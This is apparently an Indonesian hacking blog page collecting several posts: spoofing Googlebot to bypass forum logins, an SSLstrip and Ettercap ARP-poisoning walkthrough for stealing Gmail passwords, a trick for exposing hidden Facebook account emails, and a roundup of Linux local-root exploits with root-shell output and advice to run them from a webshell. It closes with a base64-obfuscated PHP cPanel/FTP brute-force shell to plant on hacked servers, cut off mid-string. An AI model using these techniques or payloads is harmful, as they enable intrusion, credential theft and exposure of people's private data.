Menyamar Sebagai GoogleBot

Googlebot adalah perangkat lunak yang digunakan oleh Google, yang mengumpulkan dokumen-dokumen dari web untuk membangun indeks untuk dicari mesin pencari Google.

Bagaimana jadinya ya kalo kita bisa menjadi seperti Googlebot??? Hmm.. salah satu keuntungannya adalah kita bisa mengakses area member situs-situs tertentu tanpa harus login terlebihdahulu (misalnya saja Forum).


Lalu bagaiamana cara menyamar sebagai GoogleBot??? Pertanyaan inilah yang ada selalu dibenak saya sebagai h4ck3r pemula dan "mungkin" juga menjadi keinginan anda saat ini!?! Setelah sekian lama saya browsing, akhirnya dapat beberapa referensi bagaimana kita bisa menyamar sebagai Googlebot. Oke, LET'S DO IT NOW...


Langkah pertama, kita persiapankan alatnya, yaitu:
1. PC atau Laptop
2. Mozilla Firefox
3. Add-ons User Agent Switcher
[ DOWNLOAD & INSTALL DISINI ]
Langkah kedua, buka Mozilla Firefox dan install add-ons User Agent Switcher-nya, setelah terinstall, ikuti petunjuk dibawah ini :

Langkah ketiga, setting User Agent Switcher-nya, sebagai berikut:

Sebagai tambahan agar lebih optimal lagi, ketik di address bar: "about:config", tekan enter maka akan muncul konfigurasi Firefox tekan aja tombol yang ada tulisan "I'll be careful, I promise!". Lalu ketik pada form filter dengan kata "useragent.extra" dan akan muncul kata "general.useragent.extra.firefox" di bahwa preference name, lalu klik 2x, kemudian tambahkan di belakang dengan "; Googlebot".



Langkah keempat, lakukan penyecekan di http://private.dnsstuff.com/tools/aboutyou.ch

happy hacking

More →

SSL Hacking

Salah satu cara yang paling berhasil untuk mendapatkan informasi seperti password, user id dll dalam LAN (local area network) adalah melalui orang dalam serangan tengah. Aku tidak akan pergi ke jauh ke Man dalam serangan tengah, tetapi dalam kata-kata sederhana dapat dijelaskan sebagai penyerang atau hacker mendengarkan semua informasi yang dikirim di antara klien dan server Untuk mencegah serangan semacam ini Email penyedia dimulai. menggunakan Hypertext Transfer Protocol Secure (HTTPS) Ini adalah kombinasi dari Hypertext Transfer Protocol (HTTP) dengan SSL (Secure socket layer) protokol untuk menyediakan komunikasi terenkripsi antara client dan server. Jadi, saat seorang hacker karies sebuah serangan Mimt korbanadalah memperingatkan dengan Sertifikat SSL tidak valid


Dalam tutorial ini saya akan mengajarkan bagaimana melaksanakan serangan MITM berhasil
Konsep: -
Kami Ketahuilah bahwa HTTP (Hypertext Transfer Protocol) hanya mengirimkan semua informasi melalui teks biasa. Jadi jika kita membuat korban menggunakan HTTP bukan HTTPS dapat terhubung situs seperti Gmail, Pay pal. kita akan mampu melakukan serangan MITM yang berhasil dengan keluar menyebabkan kecurigaan Untuk melakukan hal ini kita akan menggunakan alat yang disebut strip SSL
Lebih Dibaca: Apa itu SSL (Secure Socket Layer)
Hal yang kita Butuh
1. strip SSL: Anda dapat mencari Google untuk strip SSL datang baik di windows dan versi Linux. Saya akan menggunakan versi windows dalam tutorial ini
2. Ettercap untuk melakukan serangan MITM
Demonstrasi: -
1. Buka SSL strip dan mengisi semua informasi yang diperlukan untuk arpsoof, jaringan, strip ssl, data perubahan. Jika Anda tidak tahu apa yang harus dimasukkan cukup klik cek otomatis. ingat untuk memeriksa apakah HTTPS HTTP termasuk dalam data Perubahan, akhirnya klik ok

2. Sekarang pilih IP korban dan klik open

3. Sekarang buka ettercap pergi ke mengendus-unsniffed mengendus dan pilih antarmuka jaringan anda dan klik ok

4. Sekarang pilih-scan host host Setelah pemindaian selesai Buka daftar. Host dari tab host.. Sekarang pilih alamat IP router sebagai target 1 dan korban IP sebagai target 2

5. Sekarang pilih keracunan MITM-ARP dan klik ok seperti yang ditunjukkan

6. Finally select start-start sniffing .Sekarang, ketika korban log ke gmail dia akan menggunakan HTTP dan tidak HTTPS Oleh karena itu kita dapat mendapatkan User id, password seperti yang ditunjukkan di bawah ini

Counter langkah-langkah:
1. setiap kali Anda melakukan transaksi online seperti pembayaran kartu kredit, login Email Bank atau login selalu memastikan bahwa Anda Gunakan HTTPS
2. Selalu memeriksa sertifikat SSL sebelum melakukan transaksi online

More →

list nya ziddu.com

maknu saya liat liat ehh ternyata nemu listnya ziddu, anda tertarik silahkan liat2 sendiri ya hehehhe semoga saja ini bisa bermanfaat ,
ini listnya :

http://www.ziddu.com/root/urllist1.txt
http://www.ziddu.com/root/urllist2.txt
http://www.ziddu.com/root/urllist3.txt
...
http://www.ziddu.com/root/urllist50.txt
...
http://www.ziddu.com/root/urllist100.txt
||
||
\/
dst. sampai
http://www.ziddu.com/root/urllist160.txt

padahal dari google bisa lebih mudah.contoh
http://www.google.co.id/search?hl=id&q=skripsi-ilmu+site%3Aziddu.com&aq=f&aqi&aql&oq
wkwkwk....

exemple :

http://www.ziddu.com/root/urllist1.txt

www.ziddu.com

http://www.ziddu.com/download/993885/zRihanna-Unfaithful.mp3.htmlhttp://www.ziddu.com/download/993886/zSeanKingston-TakeYouThere.mp3.htmlhttp://www.ziddu.com/download/993895/26.Przyznawaniesiedoniesmialosci.mp3.html http://www.ziddu.com/download/993908/zChrisBrownFtTPain-KissKiss.mp3.html

nice shot kwkwk 

More →

script anti DDOS

$debug = false; // debug mode, disabled ban, simply shows a message if the IP was banned or not.

if ($debug) error_reporting(E_ALL);

else  error_reporting(0);

$ddos = 1;

$log = false;

$dir = dirname(__file__) . '/cyki_bots/'; //DDOS log directory, create it and chmod 777

$ddos_redirect_host = 'http://google.com/'; // Host to which redirect DDOS

$icq = '123456'; //Admins ICQ

$off_message = 'We are experiencing technical difficulties.'; //Message if website is down.

$anticyka = md5(sha1('botik' . strrev(getenv('HTTP_USER_AGENT'))));

$ban_message = 'You have been blocked. If you believe this is a mistake, contact an administrator, icq of admin:' .

    $icq . '

---

(c)XakNet antiddos module'; // Ban message

$exec_ban = "iptables -A INPUT -s " . $_SERVER["REMOTE_ADDR"] . " -j DROP"; // Ð´Ð»Ñ iptables(Debian/ubuntu/etc)

$load = sys_getloadavg(); // Function for retrieving load average \=\

$ddosuser = 'lol_ddos';

$ddospass = substr(ip2long($_SERVER['REMOTE_ADDR']), 0, rand(2, 4));

//not tested //checks if those are crawlers:

$google = strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), "googlebot.com") !== false;

$yandex = strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), "yandex.ru") !== false;

$rambler = strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), "ramtel.ru") !== false;

$rambler2 = strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), "rambler.ru") !== false;

$aport = strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), "aport.ru") !== false;

$sape = strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), "sape.ru") !== false;

$msn = strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), "msn.com") !== false;

$yahoo = strpos(gethostbyaddr($_SERVER['REMOTE_ADDR']), "yahoo.net") !== false;

//

if(!file_exists($dir . 'banned_ips')) file_put_contents($dir . 'banned_ips', '');

if (strstr(file_get_contents($dir . 'banned_ips'), $_SERVER['REMOTE_ADDR']))

        die($ban_message); //GTFO )

if (! $google || ! $yandex || ! $rambler || ! $rambler2 || ! $aport || ! $sape ||

    ! $msn || ! $yahoo) {

    $f = fopen($dir . $_SERVER["REMOTE_ADDR"], "a");

    fwrite($f, "zapros cyka\n");

    fclose($f);

    function ban()

    {

        if (! system($exec_ban)) {

            $f = fopen($dir . 'banned_ips', "a");

            fwrite($f, $_SERVER['REMOTE_ADDR'] . '|');

            fclose($f);

        }

        echo $ban_message;

        header('Location: ' . $ddos_redirect_host . '');

        die();

    }

    switch ($ddos) {

            ///////////////////////////

        case 1:

            if (empty($_COOKIE['ddos']) or ! $_COOKIE['ddos']) {

                $counter = @file($dir . $_SERVER["REMOTE_ADDR"]);

                setcookie('ddos', $anticyka, time() + 3600 * 24 * 7 * 356); // на год нах.

                if (count($counter) > 10) {

                    if (! $debug) ban();

                    else  die("Blocked");

                }

                if (! $_COOKIE['ddos_log'] == 'bil') {

                    if (! $_GET['antiddos'] == 1) {

                        setcookie('ddos_log', 'bil', time() + 3600 * 24 * 7 * 356); //типо Ð·Ð°Ð¿Ñ€Ð¾Ñ ÑƒÐ¶Ðµ был чтоб не перекидывало поÑтоÑнно рефрешем.

                        header("Location: ./?antiddos=1");

                    }

                }

            } elseif ($_COOKIE['ddos'] !== $anticyka) {

                if (! $debug) ban();

                else  die("Blocked.");

            }

            break;

            /////////////////////////

        case 2:

            if (empty($_COOKIE['ddos'])) {

                if (empty($_GET['antiddos'])) {

                    if (! $_COOKIE['ddos_log'] == 'bil')

                        //Checking cookies for request

                            die('');

                } elseif ($_GET['antiddos'] == $anticyka) {

                    setcookie('ddos', $anticyka, time() + 3600 * 24 * 7 * 356);

                    setcookie('ddos_log', 'bil', time() + 3600 * 24 * 7 * 356); //типо Ð·Ð°Ð¿Ñ€Ð¾Ñ ÑƒÐ¶Ðµ был чтоб не перекидывало поÑтоÑнно рефрешем.

                }

                else {

                    if (! $debug) {

                        ban();

                        die("May be shall not transform address line?");

                    }

                    else {

                        echo "May be shall not transform address line?";

                        die("Blocked.");

                    }

                }

            }

            break;

        case 3:

            if (! isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER'] !== $ddosuser ||

                $_SERVER['PHP_AUTH_PW'] !== $ddospass) {

                header('WWW-Authenticate: Basic realm="Vvedite parol\':  ' . $ddospass .

                    ' | Login: ' . $ddosuser . '"');

                header('HTTP/1.0 401 Unauthorized');

                if (! $debug) ban();

                else  die("Blocked");

                die("

401 Unauthorized

");

            }

            break;

        case 4:

            die($off_message); //site disabled

            break;

        case 5:

            if ($load[0] > 80) {

                header('HTTP/1.1 503 Too busy, try again later');

                die('

503 Server too busy.

---

Server is sibuks. Please coba again nante. Apache server on ' .

                    $_SERVER['HTTP_HOST'] .

                    ' at port 80 with http://forum.xaknet.ru/">ddos protect');

            }

            break;

        default:

            break;

            //////////////////////////

    }

    if ($_COOKIE['ddos'] == $anticyka) @unlink($dir . $_SERVER["REMOTE_ADDR"]);

}

//////////////////////////////

//powered by xaknet.ru

?>

More →

cara melihat email akun facebook yang disembunyikan

CARA MELIHAT EMAIL AKUN FACEBOOK YANG DISEMBUNYIKAN
BY ACIZINJA

Iseng - iseng tadi liat source code halaman recovery password FB, ehh ternyata dapat sedikit trik nih :P

Sekarang sebagian besar pengguna Facebook sudah menyembunyikan emailnya karena takut kena hack...tapi bagi saya sendiri itu semua PERCUMA...karena sebentar lagi kita semua dapat melihatnya :lol: Hanya dengan dua tombol [ CTRL + U ] agan2 semua sudah dapat melihat email akun fb siapapun yang tersembunyi.

Caranya :
Target ==> http://www.facebook.com/1ckhz1r atau http://www.facebook.com/profile.php?id=100000491209314
Silahkan klik link berikut : https://www.facebook.com/recover.php (buka pake browser lain atau klo ga logout dulu)
Akan muncul 3 pilihan yaitu :
Masukkan email atau nomor telepon Anda.
Masukkan nama pengguna Facebook Anda.
Masukkan nama Anda dan nama seorang teman Anda.
4. Masukkan nama pengguna atau ID Facebook target : 1ckz1r atau 100000491209314 pada kolom yang ke 2 yaitu Masukkan nama pengguna Facebook Anda kemudian tekan ENTER, klo muncul Security Check-nya silahkan di isi dulu
5. Selanjutnya akan muncul halaman baru yang menampilkan NAMA, FOTO dan EMAIL target (rxxxxxxx7@yxxxx.com)
6. Tekan tombol CTRL + U atau  klik kanan "view page source"
7. Sorot scroll bar ke paling bawah & email target akan nampak seperti berikut : n1nj4cyber4rt\u0040gmail.com

NB : rizky12zz7@\u0040yahoo.com = rizky12zz7@yahoo.com

good luck hehehhehe

More →

Exploit Local Root

Exploit Local Root
31 JANUARY 2011 AT 4:46AM BY C4UR


                     ###################################################
                     #                                                 #
                     #    ,--^----------,--------,-----,-------^--,    #
                     #   | |||||||||   `--------'     |          O     #
                     #   `+---------------------------^----------|     #
                     #     `\_,-------, _________________________|     #
                     #       / XXXXXX /`|     /                        #
                     #      / XXXXXX /  `\   /                         #
                     #     / XXXXXX /\______(                          #
                     #    / XXXXXX /                                   #
                     #   / XXXXXX /          cucunya kongSANUN ^_^     #
                     #  (________(                 BY c4uR             #
                     #   `------'             qinoryy@yahoo.com        #
                     #                                                 #
                     ###################################################


▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
GNU C library dynamic linker $ORIGIN expansion Vulnerability
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Author: Tavis Ormandy
http://www.exploit-db.com/exploits/15274/
2.12.1, FC13 <=== fedora
2.5, RHEL5 / CentOS5
http://www.exploit-db.com/wp-content/themes/exploit/screenshots/idlt15500/15274-thumb.png


untuk xpl ini, langkah awal yg harus kita lakukan adalah
cek kesedian "gcc dan ln /bin/ping <===== via command webshell"
jika gcc dan ln /bin/ping nya sukses
maka w00t 85%

biasanya(jika gagal) mentok di bagian ini "gcc -w -fPIC -shared -o /tmp/exploit payload.c"
dan ini "LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3"

klo gw biasanya
klo mo eksekusi, make xpl ini
gw ubah direktorynya
defaulnya /tmp/exploit
misal, /home/user/public_html/shell
jadinya seperti ini, /home/user/public_html/shell/exploit
dan seterusnya
klo gw, biasanya make *.c(payload.c)nya dr shell


gambar ini menunjukan, xpl ini w00t 100%
http://oi51.tinypic.com/r1nbk3.jpg
http://oi54.tinypic.com/9b9kp0.jpg

gambar ini menunjukan, xpl ini w00t 95%
http://oi56.tinypic.com/2gy3720.jpg

gambar ini menunjukan, gatot =))
http://oi56.tinypic.com/2mn3wi8.jpg

fedora 32
http://oi54.tinypic.com/4sz2ud.jpg

mudah dan pahamkan :D
oh iyah, pk xpl ini gg w00t http://www.exploit-db.com/exploits/15024/(2618)
gambar² ntu :P


gw sih biasanya klo mo cek ap² di command webshell ajah

bentuk videonya
http://www.youtube.com/watch?v=BENgdFhON7w

Download xpl : http://islamiccenteremporia.org/.../xpl/xpl.tgz
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Linux RDS Protocol Local Privilege Escalation
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Author: Dan Rosenberg
http://www.exploit-db.com/exploits/15285/
http://www.exploit-db.com/wp-content/themes/exploit/screenshots/idlt15500/15285.png

xpl 263x32 dan 263x64

w00t test on fedora,openSUSE dan ubuntu

fedora
http://oi52.tinypic.com/aphap0.jpg

ubuntu
http://oi54.tinypic.com/slk037.jpg

openSUSE
http://oi52.tinypic.com/opn5f8.jpg


▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
  GNU C library dynamic linker LD_AUDIT arbitrary DSO load Vulnerability
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Author: Tavis Ormandy
http://www.exploit-db.com/exploits/15304/
http://www.exploit-db.com/wp-content/themes/exploit/screenshots/idlt15500/15304.png

    2.12.1, FC13
    2.5, RHEL5 / CentOS5
    2.11.1, Ubuntu 10


klo di xpl ini, namanya
dpkg32 dan dpkg64

untuk file *.c nya bisa di liat disini
http://forum.devilzc0de.org/thread-4453.html

klo mau coba yg manual
langkah awal yaitu
ktik d command webshell kalian
dpkg, jika dpkg ada maka w00t 70%

bisanya mentok disini
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

debian 32 bit
http://oi52.tinypic.com/91cay8.jpg

debian 64 bit
http://oi56.tinypic.com/110kqjp.jpg

buntu 32 bit
http://oi53.tinypic.com/2wr2ro1.jpg

blom pernah w00t
klo nyoba centOS dan fedora, ntu gw :P



▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
2.6.37 Local Privilege Escalation
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Author: Dan Rosenberg
http://www.exploit-db.com/exploits/15704/
http://www.exploit-db.com/wp-content/themes/exploit/screenshots/idlt16000/
screen-shot-2010-12-07-at-72005-pm.png

masih anget ini xpl =))

test 32 bit
http://oi52.tinypic.com/35irwaw.jpg

64bitnya lom di test

xpl ini 2637x32 dan 2637x64

info
archives.neohapsis.com/archives/fulldisclosure/2010-12/0128.html


▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
     CVE-2009-1046 Virtual Console UTF-8  set_selection() off-by-one(two) Memory Corruption
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

coded by: sgrakkyu <at> antifork.org
http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html

Tested on target:
Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
Fedora Core 10 x86_64 (default installed kernel - without selinux)

./26x64
[**] Patching ring0 shellcode with userspace addr: 0x4017e0
[**] Using port: 25433
[**] Getting slab info...
[**] Mapping Segments...
[**] Trying mapping safe page...Page Protection Present (Unable to Map Safe Page)
[**] Mapping High Address Page (don't kill placeholder child)
[**] Mapping Code Page... Done
[**] Binding on CPU 0
[**] Start Server Thread..
...
...
...
┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼
[**] Umapped end-to-end fd: 212
[**] Unsafe fd: ( 210 224 214 212 )
[**] Hijacking fops...
[**] Migrate evil unsafe fds to child process..
[**] Child process 25463 _MUST_ NOT die..keep it alive:)
[**] Got root!
# id
uid=0(root) gid=0(root) groups=1001(anon)


▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
CVE-2009-0065 Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

coded by: sgrakkyu <at> antifork.org
http://kernelbof.blogspot.com/2009/04/kernel-memory-corruptions-are-not-just.html

NOTE: you need at least one sctp application bound on the target box

Supported target:
Ubuntu 7.04 x86_64 (2.6.20_15-17-generic / 2.6.20_17-server)
Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
Ubuntu 8.10 x86_64 (2.6.27_7-10 geenric/server)
Fedora Core 10 x86_64 (default installed kernel)
OpenSuse 11.1 x86_64  (default installed kernel)

./26sctp64 -H 192.168.200.1 -P 5555 -h 192.168.200.10 -p 20000 -s 15000 -c 700 -t fedora64_10-2.6.25-117
[**] Monitoring Network for TSN/VTAG pairs..
[**] Start flushing slub cache...
[**] Using TSN/VTAG pairs: (TSN: 28022e8 <=> VTAG: 41fdd4fb) / (TSN: 8cafd3ae <=> VTAG: 1a99396c)...
[**] Overwriting neightboard sctp map..
[**] Disabling Selinux Enforcing Mode..
[**] Overwriting neightboard sctp map ......
[**] Overwriting vsyscall shadow map..
[**] Hijacking vsyscall shadow map..
[**] Waiting daemons executing gettimeofday().. this can take up to one minute...
[**] ....
[**] Connected!
[**] Restoring vsys: Emulate gettimeofday()...
uid=0(root) gid=0(root) groups=51(smmsp) context=system_u:system_r:sendmail_t:s0


▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

xpl ros132
http://oi56.tinypic.com/35i20bb.jpg

xpl 2618
http://www.youtube.com/watch?v=8bWUIQ55Wdw

xpl 263xxx64
http://www.youtube.com/watch?v=oct7p5hKdfU

xpl spender
http://www.youtube.com/watch?v=jQ-3yIwTmug
http://oi51.tinypic.com/334jbm0.jpg

chechk.sh
http://oi55.tinypic.com/fxcsh3.jpg

sock64
http://oi54.tinypic.com/2qk5qb5.jpg

sock32
http://oi51.tinypic.com/4ujrr7.jpg

redhat32
http://oi51.tinypic.com/21ca1k8.jpg
poc = securityfocus.com/archive/1/326337


▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▌
▌ bisakan klo abis ngelocal gunakan
▌ vanish. basic bg gw 40% logica 60%.
▌ jagn pernah install sshdoor(sarangw)
▌ adduser bisa ajah udah cukup.
▌ semua xpl ini dah d uji cb
▌ tergantung kalian yg menjalaknnya.
▌ sblom d bind atw d bek-konak
▌ run dulu ajah xplnya d command webshell
▌ nanti juga tau sndiri
▌ sgini ajah dolo dan xpl ini akan update
▌ trus
▌ di mulailah dr versi yg rendah dulu
▌ apapun itu jenisnya

More →

md5 Encrypt tool

Enter your text to encrypt: (http://1ckz1r.blogspot.com/)

Powered by http://1ckz1r.blogspot.com/

More →

menyingkap CPANEL

asumsinya harus nanem shell terlebih dahulu. copas code dibawah ini. dan namai file nya terserah kamu. yang penting ekstensinya *.php.


eval(base64_decode('aWYoJGF1dGggPT0gMSkgew0KaWYgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkhPT0kbmFtZSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIT09JHBhc3MpDQogICB7DQogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPSIwZGF5LmNvbSInKTsNCiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAgZXhpdCgiPGI+V3JvbmcgdXNlciBvciBwYXNzICEhPC9iPiIpOw0KICAgfQ0KfQ0KDQokY29ubmVjdF90aW1lb3V0PTU7DQpzZXRfdGltZV9saW1pdCgwKTsNCiRzdWJtaXQ9JF9SRVFVRVNUWydzdWJtaXQnXTsNCiR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107DQokcGFzcz0kX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOw0KJHRhcmdldD0kX1JFUVVFU1RbJ3RhcmdldCddOw0KJGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KDQoNCmlmKCR0YXJnZXQgPT0gIiIpew0KJHRhcmdldCA9ICJsb2NhbGhvc3QiOw0KfQ0KDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj4NCjwvaGVhZD4NCjx0aXRsZT5DcGFuZWwgKyBGVFAgQ3JhY2tlcjwvdGl0bGU+DQo8Ym9keSB0ZXh0PSIjMDBGRjAwIiBiZ2NvbG9yPSIjMDAwMDAwIiB2bGluaz0iIzAwODAwMCIgbGluaz0iIzAwODAwMCIgYWxpbms9IiMwMDgwMDAiPg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkICMwMDAwMDAiPg0KPHRhYmxlIHdpZHRoPSI2NyUiIHN0eWxlPSJib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCI+DQo8dHI+PHRkIGFsaWduPWNlbnRlcj4NCiA8Zm9udCBmYWNlPSJDb3VyaWVyIE5ldyIgc2l6ZT00IGNvbG9yPXllbGxvdz5DcGFuZWwgKyBGVFAgQ3JhY2tlcjwvZm9udD4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8YnIgLz4NCjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGhvc3QiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOw0KJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgeyBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlZlcmRhbmFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCI+DQo8Zm9udCBjb2xvcj1cIiNBQTAwMDBcIj5FcnJvciA6PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5Db25uZWN0aW9uIFRpbWVvdXQNClBsZWFzZSBDaGVjayBUaGUgVGFyZ2V0IEhvc3RuYW1lIC48L2ZvbnQ+PC9mb250PjwvYj48L3A+IjtleGl0O30NCmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQpwcmludCAiPHRhYmxlIHdpZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIGNvbG9yPVwiI0ZGMDAwMFwiPlsrXTwvZm9udD48Zm9udD4NCkNyYWNraW5nIFN1Y2Nlc3MgV2l0aCBVc2VybmFtZSAoPC9mb250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiR1c2VyPC9mb250Pjxmb250PikgYW5kIFBhc3N3b3JkICg8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+JHBhc3M8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+KTwvZm9udD48L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZ